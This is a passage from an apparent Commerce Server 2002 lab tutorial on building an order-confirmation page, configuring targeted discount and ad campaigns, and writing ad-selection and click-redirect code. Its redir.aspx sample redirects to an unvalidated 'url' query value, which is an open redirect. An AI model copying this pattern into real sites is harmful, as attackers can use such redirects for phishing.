      basket.SetPropertyOnOrderForms("payment_type", "credit_card");
      basket.SetPropertyOnOrderForms("cc_name", CardName.Text);
      basket.SetPropertyOnOrderForms("cc_type",                                     CardList.Items[CardList.SelectedIndex].Value);
            basket.SetPropertyOnOrderForms("_cc_number", CardNumber.Text);
      basket.SetPropertyOnOrderForms("_cc_expmonth", ExpiryMonth.Text);
      basket.SetPropertyOnOrderForms("_cc_expyear", ExpiryYear.Text);

      for (int i=0; i< basket.OrderForms["default"].LineItems.Count; i++)
      {

         LineItem item = basket.OrderForms["default"].LineItems[i];
         item.ShippingMethodID = "{" + shippingMethodList.SelectedItem.Value + "}";
         item.ShippingMethodName = shippingMethodList.SelectedItem.Text;
         item.ShippingAddress  = addrID;
      }
      basket.Save();

      Response.Redirect("OrderConfirmation.aspx");
   }


Step 5: Implement the OrderConfirmation.aspx Page

The OrderConfirmation.aspx page provides order confirmation. After a user confirms an order, this page submits the order information for post-processing by Commerce Server 2002.

In this step you will build and implement the order confirmation page by doing the folloiwng:

  1. Create the OrderConfirmation.aspx page and insert the header.
  2. Add a table to the page to organize the data displayed to the user.
  3. Insert a Repeater control onto the form and create an item template for it.
  4. Insert controls on the OrderConfirmation.aspx page.
  5. Insert Commerce Server classes.
  6. Insert class-wide variables.
  7. Add code to the Page_Load event handler.
  8. Add code to the confirmOrderBtn_click() event handler.

To create the OrderConfirmation.aspx page and insert the header

To add a table to the OrderConfirmation.aspx page

To insert the repeater control

To insert controls on the OrderConfirmation.aspx page

To insert Commerce Server classes

To insert class-wide variables

To add code to the Page_Load() event handler

To add code to the confirmOrderBtn_Click() event handler

To create the OrderConfirmation.aspx page and insert the header

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type OrderConfirmation.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click HTML, and then add the following code at the very top of the page, below the <%@ Page> but before the <!DOCTYPE> tags:
    <%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Orders" %>

To add a table to the OrderConfirmation.aspx page

  • Add the following HTML code in to the page:
    <asp:Label id="PageSubTitle" runat="server"/>
   <table width="80%" cellpadding="1" cellspacing="0" border="0">
      <tr valign="top" bgcolor="#000000">
         <td align="center" id="Quantity" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="Name" width="60%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="Price" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="DiscountedPrice" width="10%"  runat="server"
            style="COLOR: #ffffff"></td>
         <td >&nbsp;<br></td>
      </tr>
   </table>

To insert the Repeater control

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click Design.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms box, drag and drop a Repeater control onto the form.
  4. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type OrderListing.
  5. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click HTML.
  6. Move the <asp:Repeater> and </asp:Repeater> tags between the </tr> and </table> tags.
  7. Insert the following code (as a sub-element) between the <asp:Repeater> and </asp:Repeater> tags:
    <ItemTemplate>
   <tr>
   <td colspan=5>
      <%# DataBinder.Eval(Container.DataItem, "Name") %>
   </td>
   </tr>
   <asp:Repeater id="BasketListing" DataSource='<%#DataBinder.Eval(Container.DataItem, "LineItems")%>' runat="server">
      <ItemTemplate>
      <tr>
            <td align="left" width="10%" runat="server" ID="Td1">
               <asp:Label ID="QuantityContent" Runat="server">
                  <%# ((LineItem)Container.DataItem)["Quantity"] %>
               </asp:Label>
            </td>
            <td align="left" width="60%" runat="server" ID="Td2">
               <asp:Label ID="ProductName" Runat="server">
                  <%# ((LineItem)Container.DataItem)["_product_Name"] %>
               </asp:Label>
               <br />
               <asp:Label ID="Description" Runat="server">
                  <%# ((LineItem)Container.DataItem)["_product_Description"] %>
               </asp:Label>
            </td>
            <td valign="right" width="10%" runat="server" ID="Td3">
               <asp:Label ID="PriceContent" Font-Name="verdana" Runat="server">
                  <%# Decimal.Parse(((LineItem)Container.DataItem)["_product_cy_list_price"].ToString()).ToString("c") %>
               </asp:Label>
            </td>
            <td valign="right" width="10%" runat="server" ID="Td4">
               <asp:Label ID="DiscountedPriceContent" Font-Name="verdana" Runat="server">
                  <%# Decimal.Parse(((LineItem)Container.DataItem)["_cy_oadjust_adjustedprice"].ToString()).ToString("c") %>
               </asp:Label>
            </td>
            </tr>
         </ItemTemplate>
         <SeparatorTemplate>
            <tr>
            <td colspan="5">
               <hr noshade runat="server" ID="Hr1"/>
            </td>
            </tr>
         </SeparatorTemplate>
      </asp:Repeater>
   </ItemTemplate>
   <FooterTemplate>
   </FooterTemplate>

Note

  • All fields beginning with “_” are temporary and only exist until the current basket instance is shut down. They are regenerated each time the pipeline components are run.

To insert controls on the OrderConfirmation.aspx page

Note

  • Add the following controls above the basket listing code that was added in the procedure, "To insert the Repeater control."
  1. In the Solution Explorer window, click View Designer.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms, drag and drop a Label control onto the form.
  4. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type AddressTitleLabel.
    Text | Type Address:.
  5. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  6. In the Properties window, make sure you the control that you just created is selected, and then in the ID box, type firstNameLabel.
  7. In the Toolbox window, in the Web Forms, drag and drop a Label control onto the form.
  8. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type lastNameLabel.
  9. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  10. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type addressLine1Label.
  11. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  12. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type addressLine2Label.
  13. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  14. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type cityLabel.
  15. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  16. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type stateLabel.
  17. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  18. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type zipLabel.
  19. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click HTML.
  20. Add the <br><br> tags after zipLabel.
  21. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click Design.
  22. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  23. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type subTotalLabel.
  24. In the Toolbox window, in the Web Forms, drag and drop a Label control onto the form.
  25. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type shippingTotalLabel.
  26. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  27. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type taxTotalLabel.
  28. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  29. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type totalLabel.
  30. In the Toolbox window, in the Web Forms section, drag and drop a Button control onto the form.
  31. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type confirmOrderBtn.
    Text | Type Confirm Order >>.

To insert Commerce Server classes

  1. In the Solution Explorer window, click View Code.
  2. Add the following references in the using section:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Orders;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Caching;

To insert class-wide variables

  • In the public class section, add the following code:
    protected System.Web.UI.WebControls.Repeater BasketListing;

OrderContext    ordersys = CommerceContext.Current.OrderSystem;
 Microsoft.CommerceServer.Runtime.Orders.Basket basket = null;

To add code to the Page_Load() event handler

  • In the Page_Load() event handler, add the following code:
       // Render the basket
   // Validate login and redirect if user is not logged in

   if(!IsPostBack)
   {

      CommerceContext ctx = CommerceContext.Current;
      Profile userProfile = null;
      bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

      // This simple process does not carry the product that the
      // user was attempting to enter.  This would be good to do
      // in a real site...

      if(!isLoggedOn)
      {
         Response.Redirect("login.aspx");
      }

      // Extract the userID to get the basket
      ProfileContext profContext = ctx.ProfileSystem;
      string userId = ctx.UserID;

      basket = ordersys.GetBasket(new Guid(userId));

      //If there isn't anything in the basket, then redirect to the default.aspx page.
      if(!(basket.OrderForms.Count > 0))
      {
         Response.Redirect("default.aspx");
      }

      //Get the user profile
      userProfile = profContext.GetProfile(ctx.UserID,"UserObject");

      PipelineInfo info = new PipelineInfo("basket");

      info["CacheName"] = "discounts";
      info.Profiles.Add("User", CommerceContext.Current.UserProfile);
      basket.RunPipeline(info);
      // Run the total pipeline...
      info = new PipelineInfo("Total");
      basket.RunPipeline(info);

      // Now, populate the controls with the data from the user's order.
      totalLabel.Text = basket.Total.ToString("C");
      shippingTotalLabel.Text = basket.ShippingTotal.ToString("C");
      subTotalLabel.Text = basket.SubTotal.ToString("C");
      taxTotalLabel.Text = basket.TaxTotal.ToString("C");

      // Assume the billing address is our only address in the OrderGroup.
      // Also, assume a US format address.

      // First, get the address object.
      OrderAddress address = basket.Addresses[basket.OrderForms["default"].BillingAddress];
      addressLine1Label.Text = address.Line1;
      addressLine2Label.Text = address.Line2;
      firstNameLabel.Text = address.FirstName;
      lastNameLabel.Text = address.LastName;
      cityLabel.Text = address.City;
      stateLabel.Text = address.State;
      zipLabel.Text = address.PostalCode;

      string orderFormName = "default";
      if(null != basket.OrderForms[orderFormName] && 0 < basket.OrderForms[orderFormName].LineItems.Count)
      {
         OrderListing.DataSource = basket.OrderForms;
         OrderListing.DataBind();
      }
      basket.Save();
   }

To add code to the confirmOrderBtn_Click() event handler

  1. In the Solution Explorer window, click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, double-click the Confirm Order >> button.
  3. In the confirmOrderBtn_Click() button handler, add the following code:
       CommerceContext ctx = CommerceContext.Current;
   // Extract the userID to get the basket
   ProfileContext profContext = ctx.ProfileSystem;
   string userId = ctx.UserID;

   basket = ordersys.GetBasket(new Guid(userId));

   // This next command converts our basket into an order and initiates
   // post-processing inside of CS2002.
   basket.SaveAsOrder();

   // Bounce the user to the start page.  We would also include a
   // page that displays an order number/receipt for purchase in a
   // live production site.
   Response.Redirect("default.aspx");


Lab 4: Implementing Marketing Campaigns

In this lab, you will implement marketing campaigns on your site using Visual Studio .NET.

After completing this lab, you can:

  • Create Campaign Expressions
  • Create Target Groups
  • Create Campaign Customers
  • Create Campaigns
  • Create Ads and Discounts Campaign Items

You will learn to programmatically do the following with the new Commerce Server 2002 Base Class Library (BCL):

  • Retrieve and display a targeted Advertisement
  • Retrieve, display, and process a targeted Discount

This lab contains the following steps:

  • Step 1: Create a Campaign Expression
  • Step 2: Create a Target Group
  • Step 3: Create a Campaign Customer
  • Step 4: Create a Discount Campaign
  • Step 5: Create an Ad Campaign
  • Step 6: Implement Content Selector Code


Step 1: Create a Campaign Expression

In this step, you will create campaign expressions, which are simple phrases that define specific user groups or product groups.

You will create a target expression for female construction workers.

  1. Start the NorthwindTraders Business Desk.
  2. In Campaigns, click Campaign Expressions.
  3. In the Campaign Expressions: Target Expressions screen, click New on the toolbar.
  4. In the Target Expression dialog box, do the following:
    Use this | To do this
    Name | Type Female.
    Description | Type Female User.
    Target based on the following conditions: Click New.
    • First box. Select User Object from the drop-down list, and then select Gender under General Information.
    • Second box. Select is equal to as an operator from the drop-down list.
    • Third box. Click the ellipsis [...] button.
      In the Choose a Site Tem dialog box, select Female from the list, and then click OK.
  5. Click Apply.
  6. The new target expression is added to the Target based on the following conditions box.
  7. To save the target expression and return to the Campaign Expressions: Target Expressions screen, click Save on the toolbar.


Step 2: Create a Target Group

After you create a campaign expression, you create a target group, which is a collection of campaign expressions. You specify whether to include, exclude, or require each of the campaign expressions.

In this step, you will create a target group for female contractors on your site by requiring the Women and Contractor expressions. You use the Target Group module to create new expression, and then create a new target group.

To create a new expression

To create a new target group

To create a new expression

  1. In Campaigns, click Target Group.
  2. In the Target Group screen, click New on the toolbar.
  3. In the Target Group: New screen, in the Target group name box, type Female Contractors, and then click Create New Expression.

    Note

    • You can create a new campaign expression using a procedure similar to that shown in Step 1 "Create a Campaign Expression."
  4. In the Target Expression dialog box, do the following:
    Use this | To do this
    Name | Type Contractor.
    Description | Type Contractor / Commercial Business user.
    Target based on the following conditions: Click New.
    • First box. Select User Object from the drop-down list, and then select User Description under General Information.
    • Second box. Select is equal to as an operator from the drop-down list.
    • Third box. Click the ellipsis [...] button.
      In the Choose a Site Tem dialog box, select Contractor / Commercial Business from the list, and then click OK.
  5. Click Apply.
  6. To save the target expression click Save.
  7. Close the Target Expression dialog box.

To create a new target group

  1. In the Target Group: New screen, do the following:
    Use this | To do this
    Target group name | Type Female Contractors. Click New.
    Expression | Select Female from the drop-down list.
    Action | Select the Require action for the new target group from the drop-down list.
  2. Click Accept, and then click New to select another campaign expression.
  3. In the Target Group: New screen, do the following:
    Use this | To do this
    Expression | Select Contractor from the drop-down list.
    Action | Select the Require action for the new target group from the drop-down list.
  4. Click Accept
  5. To save the target group and return to the Target Group screen, click Save and go back on the toolbar.


Step 3: Create a Campaign Customer

After you have created the target group, you create a campaign customer, which is required to create any campaign item.

In this step, you will create a campaign customer as Northwind Traders (a self customer).

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Add on the toolbar, and then select New Customer from the drop-down list.
  3. In the Campaign Manager - New (customer) screen, in the Customer Properties section, do the following:
    Use this | To do this
    Name | Type Northwind Traders.
    Address | Leave this field blank.
    Type | Select the Self as the type of relationship you have with the customer from the drop-down list.
    URL | Leave this field blank.
    Industry | Leave this field blank.
    Comments | Leave this field blank.
  4. In the Contact Information section, do the following:
    Use this | To do this
    Contact | Leave this field blank.
    Email | Leave this field blank.
    Phone | Leave this field blank.
    Fax | Leave this field blank.
  5. To save the customer information and return to the Campaign Manager screen, click Save and go back on the toolbar.

The customer information is saved.


Step 4: Create a Discount Campaign

After you create a campaign customer, you create campaign items for the customer. Each customer can have multiple campaigns.

In this step, you will do the following:

  1. Create a new discount campaign.
  2. Create discount properties.
  3. Create a discount definition for the following: female contractors who buy 10 units of switch (SKU # 6001) will receive one unit free.

To create a new discount campaign

To create discount properties

To create a discount promotion for female contractors

To create a new discount campaign

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select Northwind Traders from the list, click Add on the toolbar, and then select New Campaign from the drop-down list.
  3. In the Campaign Manager - Northwind Traders - New (campaign) screen, in the Campaign Properties section, do the following:
    Use this | To do this
    Campaign name | Type Contractors Discount.
    Start date | Select the default date.
    End date Select 12/31/2002 as the campaign end date from the drop-down calendar.

    Campaign dates are used as default dates for campaign item dates. However, campaign item dates override campaign dates. A campaign item date may be set to extend past the dates for the campaign.
    Status | Select Active as the campaign status from the drop-down list.
    Comments | Leave this field blank.
  4. To save the campaign information and return to the Campaign Manager screen, click Save and go back on the toolbar.

To create discount properties

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand Northwind Traders customer. Select the Contractors Discount campaign, click Add on the toolbar, and then select New Discount from the drop-down list.
  3. In the Campaign Manager Northwind Traders - Contractors Discount - New (discount) screen, in the Discount Properties section, do the following:
    Use this | To do this
    Discount name | Type Electrical Switch targeted at Females.
    Status | Select Active as the discount campaign status from the drop-down list.
    Priority Select 10 as the priority of the discount from the drop-down list.

    The priority of the discount determines which discounts are applicable in the basket. For example, a discount with a priority of 10 is applied over a discount with a priority of 20.
    Comments | Leave this field blank.
    Start date | Select the default Start date (current date).
    End date | Select 12/31/2002 as the discount end date from the drop-down calendar.

To create a discount promotion for female contractors

  1. In the Campaign Manager Northwind Traders - Contractors Discount - New (discount) screen, in the Discount Definition section, do the following:
    Use this | To do this
    Buy: Buy Condition box
    • Type box. Select Quantity as the type of Buy condition from the drop-down list.
    • Value box. Enter 10 as the quantity amount.
    • Catalog expression. Click the ellipsis [...] button.

      In the Catalog Expressions dialog box, do the following:

      Name: Enter 6001.

      Description: Enter Switch.

      Click New to create a new target expression.

      • First box: Click Products, and then select SKU from the drop-down list.
      • Second box: Select is equal to from the drop-down list.
      • Third box: Type 6001.

      Click Apply, and then click Save.

    Get Get Condition box
    • Number. Type 1 as the number of units of the catalog item that the user is awarded when the rules of the discount are met.
    • Catalog expression. Select 6001 from the drop-down list.
    • Type. Select Percent (%) as the unit of measure for the discount award from the drop-down list.
    • Value. Type 100 as the percentage value of the discount award. This will offer selected users the eleventh item for free.

    For information about discount awards, see Discount Awards.
    Apply offer on Get product alone | Clear this option.
    Apply offer on both Get and Buy Products | Select this disjoint discount to have the buy condition reused as an award.
    Eligibility Requirements: Expression Available | Select both Female and Contractor expressions for the discount from the list, and then click Add.
  2. In the Campaign Manager Northwind Traders - Contractors Discount - New (discount) screen, in the Discount Display Target section, do the following:
    Use this To do this
    Target groups: Available Select the Female Contractors page group, and then click Add.

    The page group is moved to the Assigned box. To remove a page group from the Assigned box, click Remove. This moves the page group to the Available box.

  3. In the Campaign Manager Northwind Traders - Contractors Discount - New (discount) screen, in the Discount Display section, do the following:
    Use this | To do this
    Exposure limit | Accept the default None value.
    Basket display | Type Buy 10 switches get 1 free!.
    Content Size | Accept the default Full Banner (468x60) value.
    Content Type | Accept the default Image value.
    Image URL

    Type http://localhost/northwindtraders/image/campaign/ad_234x60_6001.gif.

    Click URL | Type productdetail.aspx?ProductID=THREEWAYSWITCH(electrical).
    Alternative text | Type 3-way Switch.
  4. To save the discount item, click Save on the toolbar.
  5. Click Preview to view the ad.
  6. To return to the Campaign Manager screen, click Back on the toolbar.


Step 5: Create an Ad Campaign

In Commerce Server 2002, Ad Campaigns can be targeted using the Content Selection Framework (CSF). Each Ad has a need of delivery based upon the number of impressions, the number of days to deliver them, and a relative weighting against other ads before they are displayed to the user visiting your Web site. You can set ads to be house ads so that the ads are rotated on your Web site on an "as possible" basis, which minimizes the impact on paying ads on your site through your business partners.

In this step, you will create a new ad campaign and then create a new house ad for Microsoft Commerce Server 2002 and Visual Studio .NET.

To create a new ad campaign

To create a new ad

To create a new ad campaign

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select Northwind Traders from the list, click Add on the toolbar, and then select New Campaign from the drop-down list.
  3. In the Campaign Manager - Northwind Traders - New (campaign) screen, in the Campaign Properties section, do the following:
    Use this | To do this
    Campaign name | Type Free Advertising.
    Start date | Select the default date (current date).
    End date Select 12/31/2002 as the campaign end date from the drop-down calendar.

    Campaign dates are used as default dates for campaign item dates. However, campaign item dates override campaign dates. A campaign item date may be set to extend past the dates for the campaign.
    Status | Select Active as the campaign status from the drop-down list.
    Comments | Leave this field blank.
  4. In the Campaign Manager - Northwind Traders - New (campaign) screen, in the Advertising/Campaign Goaling section, do the following:
    Use this | To do this
    Set goals by | Select the Campaigns as the goaling level from the drop-down list.
    Quantity ordered | Type 100000 as the number of requests ordered for this campaign.
    Scheduled by Select Request from the drop-down list.

    Request indicates that the goals of the campaign will be met when the ad is displayed on the specified page group(s).
  5. To save the campaign information and return to the Campaign Manager screen, click Save and go back on the toolbar.

To create a new ad

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand Northwind Traders, expand Free Advertising, click New on the toolbar, and then select New Ad from the drop-down list to create the new ad.
  3. In the Campaign Manager - Northwind Traders - Free Advertising - New (ad) screen, in the Ad Properties screen, do the following:
    Use this | To do this
    Ad name | Type Microsoft Commerce Server 2002.
    Status | Select Active.
    Type | Select House Ad from the drop-down list.
    Weight Type 1 as the weight of the ad.

    Weight is a means of determining how frequently an ad is displayed, relative to all of the campaign items for a given customer. In a campaign, weight only applies to ads that are goaled at the campaign-level. If the ads are goaled at the item level, weight is not used for paid ads.

    For house ads the weight is relative to all other house ads for all customers and all campaigns. For paid ads, the weight is relative to other paid ads in the same campaign. The weight of an individual campaign item is relative to the weight of all the other campaign items.
    Exposure limit | Select None from the drop-down list to have no maximum limit to the number of times the ad can be shown to a user per session.
    Date received Accept the default settings.

    This box contains the current date as the default. After the ad is saved, the date cannot be changed.

    Industry | Accept the default setting of None.
    Comments | Leave this field blank.
  4. In the Ad Schedule section, do the following:
    Use this | To do this
    Start date | Select the default date (current date).
    End date | Select 12/31/2002 as the ad campaign end date from the drop-down calendar.
    Days | Select each day of the week.
    Start time | Make sure this is set to 00:00.
    End time | Make sure this is set to 00:00.
  5. In the Ad Target section, make sure that the Show on all Page Groups option is selected.
  6. In the Ad Display section, do the following:
    Use this | To do this
    Size | Select Full Banner (468x60) from the drop-down box.
    Type | Select Image from the drop-down box.
    Image URL | Type http://localhost/northwindtraders/image/campaign/468x60_ComServ2002.jpg.
    Click URL | Type http://www.microsoft.com/CommerceServer.
    Alternative text | Type Commerce Server 2002.
  7. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.
  8. In Campaigns, click Publish Campaigns.
  9. In the Publish Campaigns screen, select the campaign item, and then click Publish on the toolbar.

The campaign item is sent to production. The site is updated to include the new campaign item.


Step 6: Implementing Content Selector Code

Using the Commerce Server 2002 Base Class Library (BCL), you can easily and rapidly implement marketing campaigns on your Web site. In this step, you will implement the code required to enable Ads and Discounts campaign items on your Web site. You will add the <ContentSelection> tag and enable pipeline and caching components in the Web.config file. You will also add references to the CacheCompLib.dll Primary Interop Assembly (PIA), which is required to enable the ContentList Dictionary on the redir.aspx page.

In this step you will do the following:

  1. Add references to the CacheCompLib.dll (PIA).
  2. Edit the Web.config file.
  3. Add discount and ad labels to the default page.
  4. Add code to the default page.
  5. Create a page to record the click events and redirect users to advertisement URL.

To add references to the CacheCompLib.dll PIA

To edit the Web.config file

To add discount and ad labels to the default page

To add code to the default page

To create a page to record and redirect

To add references to the CacheCompLib.dll PIA

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click References, and then click Add Reference.
  5. In the Add Reference dialog box, in the .NET tab, select CacheCompLib.dll from the list, click Select, and then click OK.
  6. In the Solution Explorer - NorthwindTraders window, collapse the References node.

To edit the Web.config file

  1. In the Solution Explorer - NorthwindTraders window, right-click the web.config file, and then click Open.
  2. Remove the comment tags around the <caches> and <pipelines> tags for the following records (name=” ”):
    • Advertising
    • Discounts
    • Recordevents
  3. Add the following <contentSelection> record within the <CommerceServer> record:
    <contentSelection>
<add name="advertising" cacheName="advertising" selectionPipeline="advertising" eventPipeline="recordEvent" redirectUrl="./redir.aspx"/>
<add name="discounts" cacheName="discounts" selectionPipeline="discounts" eventPipeline="recordEvent" redirectUrl="./redir.aspx"/>
</contentSelection>

To add discount and ad labels to the default page

  1. In the Solution Explorer - NorthwindTraders window, right-click the default.aspx file, and then click View Designer.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the form.
  4. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type discountLabel.
    Text | Delete the contents of this box.
  5. In the Toolbox window, in the Web Forms section, drag and drop another Label object onto the form.
  6. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type adLabel.
    Text | Delete the contents of this box.

To add code to the default page

  1. In the Solution Explorer - NorthwindTraders window, right-click the default.aspx file, and then click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx.cs window, in the using section, add the following lines of code:
    using System.Collections.Specialized;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Targeting;
using Microsoft.CommerceServer.Runtime.Profiles;
using System.Diagnostics;
  3. In the Page_Load() method, add the following code:
    // Create a targeting profile
CommerceContext ctx = CommerceContext.Current;
Profile userProfile = null;
bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

if (isLoggedOn)
{
   // Extract the user's profile for the Campaign system to
   // decide if the user should be targeted for a given ad.

   userProfile = ctx.UserProfile;
}
//check for the profile

// Get the AD

// Get a ContentSelector and set its properties
ContentSelector csoAd = ctx.TargetingSystem.SelectionContexts["advertising"].GetSelector();
csoAd.TraceMode = true;
csoAd.ItemsRequested = 1;

if(null != userProfile)
{
   csoAd.Profiles.Add("User", userProfile);
}

csoAd.Size = "Banner";

// Get some content using CS2002 Content Selection Framework
StringCollection adpayload = csoAd.GetContent();
foreach (string adItem in adpayload)
{
   adLabel.Text = adLabel.Text + adItem.ToString() + "";
}

// Get the Discount

// Create a targeting profile

// ctx is still active

// Get a ContentSelector and set its properties
ContentSelector csoDiscount = ctx.TargetingSystem.SelectionContexts["discounts"].GetSelector();
csoDiscount.TraceMode = true;
csoDiscount.ItemsRequested = 1;

if(null != userProfile)
{
   csoDiscount.Profiles.Add("User", userProfile);
}

// Get the content using CS2002 Content Selection Framework
StringCollection discountPayload = csoDiscount.GetContent();
foreach (string discountItem in discountPayload)
{
   discountLabel.Text = discountLabel.Text + discountItem.ToString() + "";
}

To create a page to record and redirect

  1. In the Solution Explorer - NorthwindTraders window, right-click the NorthwindTraders, point to Add, and then click Add Web Form.
  2. In the Add new Item - NorthwindTraders dialog box, in the Name box, type redir.aspx, and then click Open.
  3. In the Solution Explorer - NorthwindTraders window, right-click the redir.aspx file, and then click View Code.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – redir.aspx.cs window, in the using section, add the following lines of code:
    using System.Collections.Specialized;
using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Targeting;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Caching;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using System.Diagnostics;
using System.Runtime.Serialization;
using System.Runtime.InteropServices;
using Microsoft.CommerceServer.Interop.Caching;
  5. In the Page_Load() method, add the following code:
    //Get query string parameters
NameValueCollection coll = Request.QueryString;
//Records event
//Note:  FormatterConverter is a .NET Framework function and it is used
//       to convert the string to an int in the record event call
FormatterConverter format = new FormatterConverter();
RecordEvent(format.ToInt32(coll["ciid"]), coll["cachename"], format.ToInt32(coll["PageGroupId"]));
//Redirect to target URL
Response.Redirect(coll["url"]);
  6. In the public class redir section, add the following code:
    public void RecordEvent(int ciid, string cacheName, int pageGroupId)
{
   //Get Commerce Context.
   CommerceContext ctx = CommerceContext.Current;
   if(null == ctx)
   {
      return;
   }

   //Get advertisement cache from cachemanager.
   CommerceCache cache = ctx.Caches[cacheName];
   if(null == cache)
   {
      return;
   }

   Microsoft.CommerceServer.Runtime.IDictionary cacheData = (Dictionary) cache.GetCache();
   if(null == cacheData)
   {
      return;
   }

   //Get record event pipeline from framework.
   PipelineBase recordEventPipeline = ctx.Pipelines["recordevent"];
   if(null != recordEventPipeline)
   {
      //Create order and context dictionaries, assuming it will be successful.
      Microsoft.CommerceServer.Runtime.IDictionary orderDictionary = new Microsoft.CommerceServer.Runtime.Dictionary();
      Microsoft.CommerceServer.Runtime.IDictionary contextDictionary = new Microsoft.CommerceServer.Runtime.Dictionary();
      if(null == orderDictionary && null == contextDictionary)
      {
         return;
      }

      //Initialize order dictionary.
      ContentListFactory contentFactory = null;
      orderDictionary["_winners"] = ciid;
      orderDictionary["_event"] = "CLICK";

      orderDictionary["_performance"] = cacheData["_performance"];
      contentFactory = (ContentListFactory)cacheData["Factory"];
      ContentList contentList = contentFactory.CreateNewContentList();
      orderDictionary["_content"] = contentList;

      //Initialize context dictionary.
      contextDictionary["SiteName"] = ctx.SiteName;
      contextDictionary["PageGroupId"] = pageGroupId;

      //Execute Record event pipeline and log event to weblog.
      recordEventPipeline.Execute(orderDictionary, contextDictionary);

      //Release refernces to COM objects.
      if(null != cacheData)
      {
         Marshal.ReleaseComObject(cacheData);
      }
      if(null != orderDictionary)
      {
         Marshal.ReleaseComObject(orderDictionary);
      }
      if(null != contextDictionary)
      {
         Marshal.ReleaseComObject(contextDictionary);
      }
      if(null != contentFactory)
      {
         Marshal.ReleaseComObject(contentFactory);
      }
      if(null != contentList)
      {
         Marshal.ReleaseComObject(contentList);
      }
   }
   else
   {
      return;
   }
}


Lab 5: Debugging Commerce Server 2002 in ASP .NET

Commerce Server 2002 supports several methods for the tracing and logging of code execution to help troubleshoot problems that may occur.

You can enable tracing on different objects within the hierarchy to view execution problems that may not have generated complete exceptions, but may have unexpectedly altered the results of a given operation.

You can also enable pipeline logging to view when pipelines are being executed, and what is triggering them. For example, you can view users as they are processed by the pipeline components (logfilename==user_id). You can also view internal pipeline component operations such as the fields that are being processed, and their values.

